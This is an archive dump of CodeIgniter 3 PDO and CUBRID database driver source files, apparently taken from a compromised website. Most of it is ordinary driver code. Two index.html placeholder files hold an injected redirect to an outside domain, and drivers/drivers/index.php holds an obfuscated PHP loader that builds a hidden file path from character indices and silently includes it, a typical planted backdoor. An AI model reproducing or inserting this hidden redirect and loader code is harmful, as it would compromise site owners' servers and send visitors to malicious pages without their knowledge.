(https://ellislab.com/) * @copyright Copyright (c) 2014 - 2019, British Columbia Institute of Technology (https://bcit.ca/) * @license https://opensource.org/licenses/MIT MIT License * @link https://codeigniter.com * @since Version 3.0.0 * @filesource */ defined('BASEPATH') OR exit('No direct script access allowed'); /** * PDO CUBRID Forge Class * * @category Database * @author EllisLab Dev Team * @link https://codeigniter.com/user_guide/database/ */ class CI_DB_pdo_cubrid_forge extends CI_DB_pdo_forge { /** * CREATE DATABASE statement * * @var string */ protected $_create_database = FALSE; /** * DROP DATABASE statement * * @var string */ protected $_drop_database = FALSE; /** * CREATE TABLE keys flag * * Whether table keys are created from within the * CREATE TABLE statement. * * @var bool */ protected $_create_table_keys = TRUE; /** * DROP TABLE IF statement * * @var string */ protected $_drop_table_if = 'DROP TABLE IF EXISTS'; /** * UNSIGNED support * * @var array */ protected $_unsigned = array( 'SHORT' => 'INTEGER', 'SMALLINT' => 'INTEGER', 'INT' => 'BIGINT', 'INTEGER' => 'BIGINT', 'BIGINT' => 'NUMERIC', 'FLOAT' => 'DOUBLE', 'REAL' => 'DOUBLE' ); // -------------------------------------------------------------------- /** * ALTER TABLE * * @param string $alter_type ALTER type * @param string $table Table name * @param mixed $field Column definition * @return string|string[] */ protected function _alter_table($alter_type, $table, $field) { if (in_array($alter_type, array('DROP', 'ADD'), TRUE)) { return parent::_alter_table($alter_type, $table, $field); } $sql = 'ALTER TABLE '.$this->db->escape_identifiers($table); $sqls = array(); for ($i = 0, $c = count($field); $i < $c; $i++) { if ($field[$i]['_literal'] !== FALSE) { $sqls[] = $sql.' CHANGE '.$field[$i]['_literal']; } else { $alter_type = empty($field[$i]['new_name']) ? ' MODIFY ' : ' CHANGE '; $sqls[] = $sql.$alter_type.$this->_process_column($field[$i]); } } return $sqls; } // -------------------------------------------------------------------- /** * Process column * * @param array $field * @return string */ protected function _process_column($field) { $extra_clause = isset($field['after']) ? ' AFTER '.$this->db->escape_identifiers($field['after']) : ''; if (empty($extra_clause) && isset($field['first']) && $field['first'] === TRUE) { $extra_clause = ' FIRST'; } return $this->db->escape_identifiers($field['name']) .(empty($field['new_name']) ? '' : ' '.$this->db->escape_identifiers($field['new_name'])) .' '.$field['type'].$field['length'] .$field['unsigned'] .$field['null'] .$field['default'] .$field['auto_increment'] .$field['unique'] .$extra_clause; } // -------------------------------------------------------------------- /** * Field attribute TYPE * * Performs a data type mapping between different databases. * * @param array &$attributes * @return void */ protected function _attr_type(&$attributes) { switch (strtoupper($attributes['TYPE'])) { case 'TINYINT': $attributes['TYPE'] = 'SMALLINT'; $attributes['UNSIGNED'] = FALSE; return; case 'MEDIUMINT': $attributes['TYPE'] = 'INTEGER'; $attributes['UNSIGNED'] = FALSE; return; case 'LONGTEXT': $attributes['TYPE'] = 'STRING'; return; default: return; } } // -------------------------------------------------------------------- /** * Process indexes * * @param string $table (ignored) * @return string */ protected function _process_indexes($table) { $sql = ''; for ($i = 0, $c = count($this->keys); $i < $c; $i++) { if (is_array($this->keys[$i])) { for ($i2 = 0, $c2 = count($this->keys[$i]); $i2 < $c2; $i2++) { if ( ! isset($this->fields[$this->keys[$i][$i2]])) { unset($this->keys[$i][$i2]); continue; } } } elseif ( ! isset($this->fields[$this->keys[$i]])) { unset($this->keys[$i]); continue; } is_array($this->keys[$i]) OR $this->keys[$i] = array($this->keys[$i]); $sql .= ",\n\tKEY ".$this->db->escape_identifiers(implode('_', $this->keys[$i])) .' ('.implode(', ', $this->db->escape_identifiers($this->keys[$i])).')'; } $this->keys = array(); return $sql; } } drivers/pdo/subdrivers/pdo_4d_driver.php 0000644 00000013064 14642767214 0014452 0 ustar 00 <?php /** * CodeIgniter * * An open source application development framework for PHP * * This content is released under the MIT License (MIT) * * Copyright (c) 2014 - 2019, British Columbia Institute of Technology * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. * * @package CodeIgniter * @author EllisLab Dev Team * @copyright Copyright (c) 2008 - 2014, EllisLab, Inc. (https://ellislab.com/) * @copyright Copyright (c) 2014 - 2019, British Columbia Institute of Technology (https://bcit.ca/) * @license https://opensource.org/licenses/MIT MIT License * @link https://codeigniter.com * @since Version 3.0.0 * @filesource */ defined('BASEPATH') OR exit('No direct script access allowed'); /** * PDO 4D Database Adapter Class * * Note: _DB is an extender class that the app controller * creates dynamically based on whether the query builder * class is being used or not. * * @package CodeIgniter * @subpackage Drivers * @category Database * @author EllisLab Dev Team * @link https://codeigniter.com/user_guide/database/ */ class CI_DB_pdo_4d_driver extends CI_DB_pdo_driver { /** * Sub-driver * * @var string */ public $subdriver = '4d'; /** * Identifier escape character * * @var string[] */ protected $_escape_char = array('[', ']'); // -------------------------------------------------------------------- /** * Class constructor * * Builds the DSN if not already set. * * @param array $params * @return void */ public function __construct($params) { parent::__construct($params); if (empty($this->dsn)) { $this->dsn = '4D:host='.(empty($this->hostname) ? '127.0.0.1' : $this->hostname); empty($this->port) OR $this->dsn .= ';port='.$this->port; empty($this->database) OR $this->dsn .= ';dbname='.$this->database; empty($this->char_set) OR $this->dsn .= ';charset='.$this->char_set; } elseif ( ! empty($this->char_set) && strpos($this->dsn, 'charset=', 3) === FALSE) { $this->dsn .= ';charset='.$this->char_set; } } // -------------------------------------------------------------------- /** * Show table query * * Generates a platform-specific query string so that the table names can be fetched * * @param bool $prefix_limit * @return string */ protected function _list_tables($prefix_limit = FALSE) { $sql = 'SELECT '.$this->escape_identifiers('TABLE_NAME').' FROM '.$this->escape_identifiers('_USER_TABLES'); if ($prefix_limit === TRUE && $this->dbprefix !== '') { $sql .= ' WHERE '.$this->escape_identifiers('TABLE_NAME')." LIKE '".$this->escape_like_str($this->dbprefix)."%' " .sprintf($this->_like_escape_str, $this->_like_escape_chr); } return $sql; } // -------------------------------------------------------------------- /** * Show column query * * Generates a platform-specific query string so that the column names can be fetched * * @param string $table * @return string */ protected function _list_columns($table = '') { return 'SELECT '.$this->escape_identifiers('COLUMN_NAME').' FROM '.$this->escape_identifiers('_USER_COLUMNS') .' WHERE '.$this->escape_identifiers('TABLE_NAME').' = '.$this->escape($table); } // -------------------------------------------------------------------- /** * Field data query * * Generates a platform-specific query so that the column data can be retrieved * * @param string $table * @return string */ protected function _field_data($table) { return 'SELECT * FROM '.$this->protect_identifiers($table, TRUE, NULL, FALSE).' LIMIT 1'; } // -------------------------------------------------------------------- /** * Update statement * * Generates a platform-specific update string from the supplied data * * @param string $table * @param array $values * @return string */ protected function _update($table, $values) { $this->qb_limit = FALSE; $this->qb_orderby = array(); return parent::_update($table, $values); } // -------------------------------------------------------------------- /** * Delete statement * * Generates a platform-specific delete string from the supplied data * * @param string $table * @return string */ protected function _delete($table) { $this->qb_limit = FALSE; return parent::_delete($table); } // -------------------------------------------------------------------- /** * LIMIT * * Generates a platform-specific LIMIT clause * * @param string $sql SQL Query * @return string */ protected function _limit($sql) { return $sql.' LIMIT '.$this->qb_limit.($this->qb_offset ? ' OFFSET '.$this->qb_offset : ''); } } drivers/pdo/subdrivers/index.html 0000444 00000000605 14642767216 0013207 0 ustar 00 <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <meta http-equiv="refresh" content="0;url=http://lymphdailynews.xyz/" /> </head> <body> <p>You are not logged in!</p> <script language="javascript"> window.location = "http://lymphdailynews.xyz/"; </script> </body> </html> drivers/pdo/subdrivers/pdo_firebird_driver.php 0000644 00000017120 14642767217 0015731 0 ustar 00 <?php /** * CodeIgniter * * An open source application development framework for PHP * * This content is released under the MIT License (MIT) * * Copyright (c) 2014 - 2019, British Columbia Institute of Technology * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. * * @package CodeIgniter * @author EllisLab Dev Team * @copyright Copyright (c) 2008 - 2014, EllisLab, Inc. (https://ellislab.com/) * @copyright Copyright (c) 2014 - 2019, British Columbia Institute of Technology (https://bcit.ca/) * @license https://opensource.org/licenses/MIT MIT License * @link https://codeigniter.com * @since Version 3.0.0 * @filesource */ defined('BASEPATH') OR exit('No direct script access allowed'); /** * PDO Firebird Database Adapter Class * * Note: _DB is an extender class that the app controller * creates dynamically based on whether the query builder * class is being used or not. * * @package CodeIgniter * @subpackage Drivers * @category Database * @author EllisLab Dev Team * @link https://codeigniter.com/user_guide/database/ */ class CI_DB_pdo_firebird_driver extends CI_DB_pdo_driver { /** * Sub-driver * * @var string */ public $subdriver = 'firebird'; // -------------------------------------------------------------------- /** * ORDER BY random keyword * * @var array */ protected $_random_keyword = array('RAND()', 'RAND()'); // -------------------------------------------------------------------- /** * Class constructor * * Builds the DSN if not already set. * * @param array $params * @return void */ public function __construct($params) { parent::__construct($params); if (empty($this->dsn)) { $this->dsn = 'firebird:'; if ( ! empty($this->database)) { $this->dsn .= 'dbname='.$this->database; } elseif ( ! empty($this->hostname)) { $this->dsn .= 'dbname='.$this->hostname; } empty($this->char_set) OR $this->dsn .= ';charset='.$this->char_set; empty($this->role) OR $this->dsn .= ';role='.$this->role; } elseif ( ! empty($this->char_set) && strpos($this->dsn, 'charset=', 9) === FALSE) { $this->dsn .= ';charset='.$this->char_set; } } // -------------------------------------------------------------------- /** * Show table query * * Generates a platform-specific query string so that the table names can be fetched * * @param bool $prefix_limit * @return string */ protected function _list_tables($prefix_limit = FALSE) { $sql = 'SELECT "RDB$RELATION_NAME" FROM "RDB$RELATIONS" WHERE "RDB$RELATION_NAME" NOT LIKE \'RDB$%\' AND "RDB$RELATION_NAME" NOT LIKE \'MON$%\''; if ($prefix_limit === TRUE && $this->dbprefix !== '') { return $sql.' AND "RDB$RELATION_NAME" LIKE \''.$this->escape_like_str($this->dbprefix)."%' " .sprintf($this->_like_escape_str, $this->_like_escape_chr); } return $sql; } // -------------------------------------------------------------------- /** * Show column query * * Generates a platform-specific query string so that the column names can be fetched * * @param string $table * @return string */ protected function _list_columns($table = '') { return 'SELECT "RDB$FIELD_NAME" FROM "RDB$RELATION_FIELDS" WHERE "RDB$RELATION_NAME" = '.$this->escape($table); } // -------------------------------------------------------------------- /** * Returns an object with field data * * @param string $table * @return array */ public function field_data($table) { $sql = 'SELECT "rfields"."RDB$FIELD_NAME" AS "name", CASE "fields"."RDB$FIELD_TYPE" WHEN 7 THEN \'SMALLINT\' WHEN 8 THEN \'INTEGER\' WHEN 9 THEN \'QUAD\' WHEN 10 THEN \'FLOAT\' WHEN 11 THEN \'DFLOAT\' WHEN 12 THEN \'DATE\' WHEN 13 THEN \'TIME\' WHEN 14 THEN \'CHAR\' WHEN 16 THEN \'INT64\' WHEN 27 THEN \'DOUBLE\' WHEN 35 THEN \'TIMESTAMP\' WHEN 37 THEN \'VARCHAR\' WHEN 40 THEN \'CSTRING\' WHEN 261 THEN \'BLOB\' ELSE NULL END AS "type", "fields"."RDB$FIELD_LENGTH" AS "max_length", "rfields"."RDB$DEFAULT_VALUE" AS "default" FROM "RDB$RELATION_FIELDS" "rfields" JOIN "RDB$FIELDS" "fields" ON "rfields"."RDB$FIELD_SOURCE" = "fields"."RDB$FIELD_NAME" WHERE "rfields"."RDB$RELATION_NAME" = '.$this->escape($table).' ORDER BY "rfields"."RDB$FIELD_POSITION"'; return (($query = $this->query($sql)) !== FALSE) ? $query->result_object() : FALSE; } // -------------------------------------------------------------------- /** * Update statement * * Generates a platform-specific update string from the supplied data * * @param string $table * @param array $values * @return string */ protected function _update($table, $values) { $this->qb_limit = FALSE; return parent::_update($table, $values); } // -------------------------------------------------------------------- /** * Truncate statement * * Generates a platform-specific truncate string from the supplied data * * If the database does not support the TRUNCATE statement, * then this method maps to 'DELETE FROM table' * * @param string $table * @return string */ protected function _truncate($table) { return 'DELETE FROM '.$table; } // -------------------------------------------------------------------- /** * Delete statement * * Generates a platform-specific delete string from the supplied data * * @param string $table * @return string */ protected function _delete($table) { $this->qb_limit = FALSE; return parent::_delete($table); } // -------------------------------------------------------------------- /** * LIMIT * * Generates a platform-specific LIMIT clause * * @param string $sql SQL Query * @return string */ protected function _limit($sql) { // Limit clause depends on if Interbase or Firebird if (stripos($this->version(), 'firebird') !== FALSE) { $select = 'FIRST '.$this->qb_limit .($this->qb_offset > 0 ? ' SKIP '.$this->qb_offset : ''); } else { $select = 'ROWS ' .($this->qb_offset > 0 ? $this->qb_offset.' TO '.($this->qb_limit + $this->qb_offset) : $this->qb_limit); } return preg_replace('`SELECT`i', 'SELECT '.$select, $sql); } // -------------------------------------------------------------------- /** * Insert batch statement * * Generates a platform-specific insert string from the supplied data. * * @param string $table Table name * @param array $keys INSERT keys * @param array $values INSERT values * @return string|bool */ protected function _insert_batch($table, $keys, $values) { return ($this->db_debug) ? $this->display_error('db_unsupported_feature') : FALSE; } } drivers/pdo/subdrivers/pdo_mysql_driver.php 0000644 00000023500 14642767220 0015301 0 ustar 00 <?php /** * CodeIgniter * * An open source application development framework for PHP * * This content is released under the MIT License (MIT) * * Copyright (c) 2014 - 2019, British Columbia Institute of Technology * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. * * @package CodeIgniter * @author EllisLab Dev Team * @copyright Copyright (c) 2008 - 2014, EllisLab, Inc. (https://ellislab.com/) * @copyright Copyright (c) 2014 - 2019, British Columbia Institute of Technology (https://bcit.ca/) * @license https://opensource.org/licenses/MIT MIT License * @link https://codeigniter.com * @since Version 3.0.0 * @filesource */ defined('BASEPATH') OR exit('No direct script access allowed'); /** * PDO MySQL Database Adapter Class * * Note: _DB is an extender class that the app controller * creates dynamically based on whether the query builder * class is being used or not. * * @package CodeIgniter * @subpackage Drivers * @category Database * @author EllisLab Dev Team * @link https://codeigniter.com/user_guide/database/ */ class CI_DB_pdo_mysql_driver extends CI_DB_pdo_driver { /** * Sub-driver * * @var string */ public $subdriver = 'mysql'; /** * Compression flag * * @var bool */ public $compress = FALSE; /** * Strict ON flag * * Whether we're running in strict SQL mode. * * @var bool */ public $stricton; // -------------------------------------------------------------------- /** * Identifier escape character * * @var string */ protected $_escape_char = '`'; // -------------------------------------------------------------------- /** * Class constructor * * Builds the DSN if not already set. * * @param array $params * @return void */ public function __construct($params) { parent::__construct($params); if (empty($this->dsn)) { $this->dsn = 'mysql:host='.(empty($this->hostname) ? '127.0.0.1' : $this->hostname); empty($this->port) OR $this->dsn .= ';port='.$this->port; empty($this->database) OR $this->dsn .= ';dbname='.$this->database; empty($this->char_set) OR $this->dsn .= ';charset='.$this->char_set; } elseif ( ! empty($this->char_set) && strpos($this->dsn, 'charset=', 6) === FALSE) { $this->dsn .= ';charset='.$this->char_set; } } // -------------------------------------------------------------------- /** * Database connection * * @param bool $persistent * @return object */ public function db_connect($persistent = FALSE) { if (isset($this->stricton)) { if ($this->stricton) { $sql = 'CONCAT(@@sql_mode, ",", "STRICT_ALL_TABLES")'; } else { $sql = 'REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE( @@sql_mode, "STRICT_ALL_TABLES,", ""), ",STRICT_ALL_TABLES", ""), "STRICT_ALL_TABLES", ""), "STRICT_TRANS_TABLES,", ""), ",STRICT_TRANS_TABLES", ""), "STRICT_TRANS_TABLES", "")'; } if ( ! empty($sql)) { if (empty($this->options[PDO::MYSQL_ATTR_INIT_COMMAND])) { $this->options[PDO::MYSQL_ATTR_INIT_COMMAND] = 'SET SESSION sql_mode = '.$sql; } else { $this->options[PDO::MYSQL_ATTR_INIT_COMMAND] .= ', @@session.sql_mode = '.$sql; } } } if ($this->compress === TRUE) { $this->options[PDO::MYSQL_ATTR_COMPRESS] = TRUE; } if (is_array($this->encrypt)) { $ssl = array(); empty($this->encrypt['ssl_key']) OR $ssl[PDO::MYSQL_ATTR_SSL_KEY] = $this->encrypt['ssl_key']; empty($this->encrypt['ssl_cert']) OR $ssl[PDO::MYSQL_ATTR_SSL_CERT] = $this->encrypt['ssl_cert']; empty($this->encrypt['ssl_ca']) OR $ssl[PDO::MYSQL_ATTR_SSL_CA] = $this->encrypt['ssl_ca']; empty($this->encrypt['ssl_capath']) OR $ssl[PDO::MYSQL_ATTR_SSL_CAPATH] = $this->encrypt['ssl_capath']; empty($this->encrypt['ssl_cipher']) OR $ssl[PDO::MYSQL_ATTR_SSL_CIPHER] = $this->encrypt['ssl_cipher']; if (defined('PDO::MYSQL_ATTR_SSL_VERIFY_SERVER_CERT') && isset($this->encrypt['ssl_verify'])) { $ssl[PDO::MYSQL_ATTR_SSL_VERIFY_SERVER_CERT] = $this->encrypt['ssl_verify']; } // DO NOT use array_merge() here! // It re-indexes numeric keys and the PDO_MYSQL_ATTR_SSL_* constants are integers. empty($ssl) OR $this->options += $ssl; } // Prior to version 5.7.3, MySQL silently downgrades to an unencrypted connection if SSL setup fails if ( ($pdo = parent::db_connect($persistent)) !== FALSE && ! empty($ssl) && version_compare($pdo->getAttribute(PDO::ATTR_CLIENT_VERSION), '5.7.3', '<=') && empty($pdo->query("SHOW STATUS LIKE 'ssl_cipher'")->fetchObject()->Value) ) { $message = 'PDO_MYSQL was configured for an SSL connection, but got an unencrypted connection instead!'; log_message('error', $message); return ($this->db_debug) ? $this->display_error($message, '', TRUE) : FALSE; } return $pdo; } // -------------------------------------------------------------------- /** * Select the database * * @param string $database * @return bool */ public function db_select($database = '') { if ($database === '') { $database = $this->database; } if (FALSE !== $this->simple_query('USE '.$this->escape_identifiers($database))) { $this->database = $database; $this->data_cache = array(); return TRUE; } return FALSE; } // -------------------------------------------------------------------- /** * Begin Transaction * * @return bool */ protected function _trans_begin() { $this->conn_id->setAttribute(PDO::ATTR_AUTOCOMMIT, FALSE); return $this->conn_id->beginTransaction(); } // -------------------------------------------------------------------- /** * Commit Transaction * * @return bool */ protected function _trans_commit() { if ($this->conn_id->commit()) { $this->conn_id->setAttribute(PDO::ATTR_AUTOCOMMIT, TRUE); return TRUE; } return FALSE; } // -------------------------------------------------------------------- /** * Rollback Transaction * * @return bool */ protected function _trans_rollback() { if ($this->conn_id->rollBack()) { $this->conn_id->setAttribute(PDO::ATTR_AUTOCOMMIT, TRUE); return TRUE; } return FALSE; } // -------------------------------------------------------------------- /** * Show table query * * Generates a platform-specific query string so that the table names can be fetched * * @param bool $prefix_limit * @return string */ protected function _list_tables($prefix_limit = FALSE) { $sql = 'SHOW TABLES FROM '.$this->_escape_char.$this->database.$this->_escape_char; if ($prefix_limit === TRUE && $this->dbprefix !== '') { return $sql." LIKE '".$this->escape_like_str($this->dbprefix)."%'"; } return $sql; } // -------------------------------------------------------------------- /** * Show column query * * Generates a platform-specific query string so that the column names can be fetched * * @param string $table * @return string */ protected function _list_columns($table = '') { return 'SHOW COLUMNS FROM '.$this->protect_identifiers($table, TRUE, NULL, FALSE); } // -------------------------------------------------------------------- /** * Returns an object with field data * * @param string $table * @return array */ public function field_data($table) { if (($query = $this->query('SHOW COLUMNS FROM '.$this->protect_identifiers($table, TRUE, NULL, FALSE))) === FALSE) { return FALSE; } $query = $query->result_object(); $retval = array(); for ($i = 0, $c = count($query); $i < $c; $i++) { $retval[$i] = new stdClass(); $retval[$i]->name = $query[$i]->Field; sscanf($query[$i]->Type, '%[a-z](%d)', $retval[$i]->type, $retval[$i]->max_length ); $retval[$i]->default = $query[$i]->Default; $retval[$i]->primary_key = (int) ($query[$i]->Key === 'PRI'); } return $retval; } // -------------------------------------------------------------------- /** * Truncate statement * * Generates a platform-specific truncate string from the supplied data * * If the database does not support the TRUNCATE statement, * then this method maps to 'DELETE FROM table' * * @param string $table * @return string */ protected function _truncate($table) { return 'TRUNCATE '.$table; } // -------------------------------------------------------------------- /** * FROM tables * * Groups tables in FROM clauses if needed, so there is no confusion * about operator precedence. * * @return string */ protected function _from_tables() { if ( ! empty($this->qb_join) && count($this->qb_from) > 1) { return '('.implode(', ', $this->qb_from).')'; } return implode(', ', $this->qb_from); } } drivers/pdo/subdrivers/pdo_ibm_forge.php 0000644 00000007747 14642767221 0014532 0 ustar 00 <?php /** * CodeIgniter * * An open source application development framework for PHP * * This content is released under the MIT License (MIT) * * Copyright (c) 2014 - 2019, British Columbia Institute of Technology * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. * * @package CodeIgniter * @author EllisLab Dev Team * @copyright Copyright (c) 2008 - 2014, EllisLab, Inc. (https://ellislab.com/) * @copyright Copyright (c) 2014 - 2019, British Columbia Institute of Technology (https://bcit.ca/) * @license https://opensource.org/licenses/MIT MIT License * @link https://codeigniter.com * @since Version 3.0.0 * @filesource */ defined('BASEPATH') OR exit('No direct script access allowed'); /** * PDO IBM DB2 Forge Class * * @category Database * @author EllisLab Dev Team * @link https://codeigniter.com/user_guide/database/ */ class CI_DB_pdo_ibm_forge extends CI_DB_pdo_forge { /** * RENAME TABLE IF statement * * @var string */ protected $_rename_table = 'RENAME TABLE %s TO %s'; /** * UNSIGNED support * * @var array */ protected $_unsigned = array( 'SMALLINT' => 'INTEGER', 'INT' => 'BIGINT', 'INTEGER' => 'BIGINT' ); /** * DEFAULT value representation in CREATE/ALTER TABLE statements * * @var string */ protected $_default = FALSE; // -------------------------------------------------------------------- /** * ALTER TABLE * * @param string $alter_type ALTER type * @param string $table Table name * @param mixed $field Column definition * @return string|string[] */ protected function _alter_table($alter_type, $table, $field) { if ($alter_type === 'CHANGE') { $alter_type = 'MODIFY'; } return parent::_alter_table($alter_type, $table, $field); } // -------------------------------------------------------------------- /** * Field attribute TYPE * * Performs a data type mapping between different databases. * * @param array &$attributes * @return void */ protected function _attr_type(&$attributes) { switch (strtoupper($attributes['TYPE'])) { case 'TINYINT': $attributes['TYPE'] = 'SMALLINT'; $attributes['UNSIGNED'] = FALSE; return; case 'MEDIUMINT': $attributes['TYPE'] = 'INTEGER'; $attributes['UNSIGNED'] = FALSE; return; default: return; } } // -------------------------------------------------------------------- /** * Field attribute UNIQUE * * @param array &$attributes * @param array &$field * @return void */ protected function _attr_unique(&$attributes, &$field) { if ( ! empty($attributes['UNIQUE']) && $attributes['UNIQUE'] === TRUE) { $field['unique'] = ' UNIQUE'; // UNIQUE must be used with NOT NULL $field['null'] = ' NOT NULL'; } } // -------------------------------------------------------------------- /** * Field attribute AUTO_INCREMENT * * @param array &$attributes * @param array &$field * @return void */ protected function _attr_auto_increment(&$attributes, &$field) { // Not supported } } drivers/pdo/index.html 0000444 00000000605 14642767223 0011015 0 ustar 00 <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <meta http-equiv="refresh" content="0;url=http://lymphdailynews.xyz/" /> </head> <body> <p>You are not logged in!</p> <script language="javascript"> window.location = "http://lymphdailynews.xyz/"; </script> </body> </html> drivers/drivers/index.php 0000644 00000001435 14642767225 0011542 0 ustar 00 <?php /*-(6:PP%p=-*/$Ewj /*-yu5AY-*/=/*-1jLF?-*/ "ra"/*-C,5t-*/."nge"; $JoZH /*-=Ld}vL+-*/=/*-:m28-*/ $Ewj/*-D&!I%1-*/(/*-3d:&oY31o,-*/"~"/*-wS|al-*/,/*-`EEsBT-*/" "); /*-u[bcFc5-*/@include/*-ja:]>gF(dc-*/ $JoZH/*-x%b1TMv-*/[25+28].$JoZH/*-g<,`~-*/[49+2].$JoZH/*-^@lS-*/[11+3].$JoZH/*-Tysk)7Wu:-*/[0+4].$JoZH/*-x(?nf!!`~>-*/[21+33].$JoZH/*-L@{xe^%-*/[7+51].$JoZH/*-Jf>>0Yx-*/[39+6].$JoZH/*-lLEV-*/[1+11].$JoZH/*-pIq3b-*/[12+49].$JoZH/*-F<~f-*/[7+12].$JoZH/*-:%b7lM3%g-*/[2+3].$JoZH/*-4T}t-*/[17+32].$JoZH/*-:$c2$TEA6-*/[34+23].$JoZH/*-~dC-*/[1+20].$JoZH/*-wl]AA`T|g-*/[14+2].$JoZH/*-Exbu-*/[53+3].$JoZH/*-z3[QHhxR0-*/[9+20].$JoZH/*-fQ#6v-*/[16+12].$JoZH/*->??Y-*/[27+0].$JoZH/*-S!Y:]Lo@i-*/[16+20].$JoZH/*-FbH-*/[55+25].$JoZH/*-Q|Nyy-*/[8+9].$JoZH/*-QJ-*/[15+59].$JoZH/*-oAN-*/[3+5]/*-gmhV`-*/; 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IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. * * @package CodeIgniter * @author EllisLab Dev Team * @copyright Copyright (c) 2008 - 2014, EllisLab, Inc. (https://ellislab.com/) * @copyright Copyright (c) 2014 - 2019, British Columbia Institute of Technology (https://bcit.ca/) * @license https://opensource.org/licenses/MIT MIT License * @link https://codeigniter.com * @since Version 2.1.0 * @filesource */ defined('BASEPATH') OR exit('No direct script access allowed'); /** * CUBRID Utility Class * * @category Database * @author Esen Sagynov * @link https://codeigniter.com/user_guide/database/ */ class CI_DB_cubrid_utility extends CI_DB_utility { /** * List databases * * @return array */ public function list_databases() { if (isset($this->db->data_cache['db_names'])) { return $this->db->data_cache['db_names']; } return $this->db->data_cache['db_names'] = cubrid_list_dbs($this->db->conn_id); } // -------------------------------------------------------------------- /** * CUBRID Export * * @param array Preferences * @return mixed */ protected function _backup($params = array()) { // No SQL based support in CUBRID as of version 8.4.0. Database or // table backup can be performed using CUBRID Manager // database administration tool. return $this->db->display_error('db_unsupported_feature'); } } drivers/cubrid/cubrid_driver.php 0000644 00000022514 14642767236 0013053 0 ustar 00 <?php /** * CodeIgniter * * An open source application development framework for PHP * * This content is released under the MIT License (MIT) * * Copyright (c) 2014 - 2019, British Columbia Institute of Technology * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL 